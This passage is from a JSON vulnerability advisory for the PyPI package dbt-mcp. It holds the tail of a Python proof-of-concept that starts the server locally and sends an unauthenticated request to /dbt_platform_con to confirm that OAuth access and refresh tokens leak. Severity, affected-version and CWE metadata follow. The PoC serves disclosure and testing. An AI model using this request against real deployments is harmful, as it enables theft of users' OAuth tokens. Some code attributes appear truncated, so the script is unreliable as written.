startup\n static_dir = tempfile.mkdtemp(prefix=\"dbt_poc_static_\")\n (Path(static_dir) / \"index.html\").write_(\"<html>dbt OAuth</html>\")\n\n # 3. Start the real vulnerable FastAPI server in a background thread\n t = threading.Thread(\n target=start_server, args=(context_file, static_dir), daemon=True\n )\n t.start()\n\n print(f\"\\n[*] Waiting for FastAPI server to start on 127.0.0.1:{PORT} ...\")\n if not wait_for_server(PORT):\n print(\"[-] FAIL: Server did not start within timeout.\")\n return 2\n\n print(\"[*] Server is up.\")\n\n # 4. Send unauthenticated GET /dbt_platform_con (no Authorization header)\n url = f\"http://127.0.0.1:{PORT}/dbt_platform_con\"\n print(f\"\\n[*] Sending unauthenticated GET {url}\")\n try:\n resp = httpx.get(url, timeout=10)\n except Exception as exc:\n print(f\"[-] HTTP request failed: {exc}\")\n return 2\n\n print(f\"[*] HTTP Status: {resp.status_code}\")\n\n if resp.status_code != 200:\n print(f\"[-] FAIL: Expected 200, got {resp.status_code}\")\n print(f\" Body: {resp.[:500]}\")\n return 1\n\n try:\n data = resp.json()\n except Exception as exc:\n print(f\"[-] FAIL: Response is not JSON: {exc}\\n Body: {resp.[:500]}\")\n return 1\n\n print(f\"\\n[*] Full response JSON:\\n{json.dumps(data, indent=2)}\")\n\n # 5. Verify that the tokens are in the response (no redaction, no auth required)\n try:\n leaked_access = (\n data[\"decoded_access_token\"][\"access_token_response\"][\"access_token\"]\n )\n leaked_refresh = (\n data[\"decoded_access_token\"][\"access_token_response\"][\"refresh_token\"]\n )\n except (KeyError, TypeError) as exc:\n print(f\"\\n[-] FAIL: Token fields missing from response: {exc}\")\n return 1\n\n print(f\"\\n[!] LEAKED access_token : {leaked_access}\")\n print(f\"[!] LEAKED refresh_token : {leaked_refresh}\")\n\n if leaked_access == FAKE_ACCESS_TOKEN and leaked_refresh == FAKE_REFRESH_TOKEN:\n print(\n \"\\n[+] VULNERABILITY CONFIRMED:\"\n \" Tokens returned from /dbt_platform_con WITHOUT authentication!\"\n )\n return 0\n else:\n print(\"\\n[-] FAIL: Returned tokens do not match expected values.\")\n print(f\" Expected access_token : {FAKE_ACCESS_TOKEN}\")\n print(f\" Got access_token : {leaked_access}\")\n return 1\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "dbt-mcp"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.20.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/dbt-labs/dbt-mcp/security/advisories/GHSA-jr33-mw75-7j8f"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/dbt-labs/dbt-mcp"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-200", "CWE-306", "CWE-346" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-19T21:15:40Z",
"nvd_published_at" : null
}
}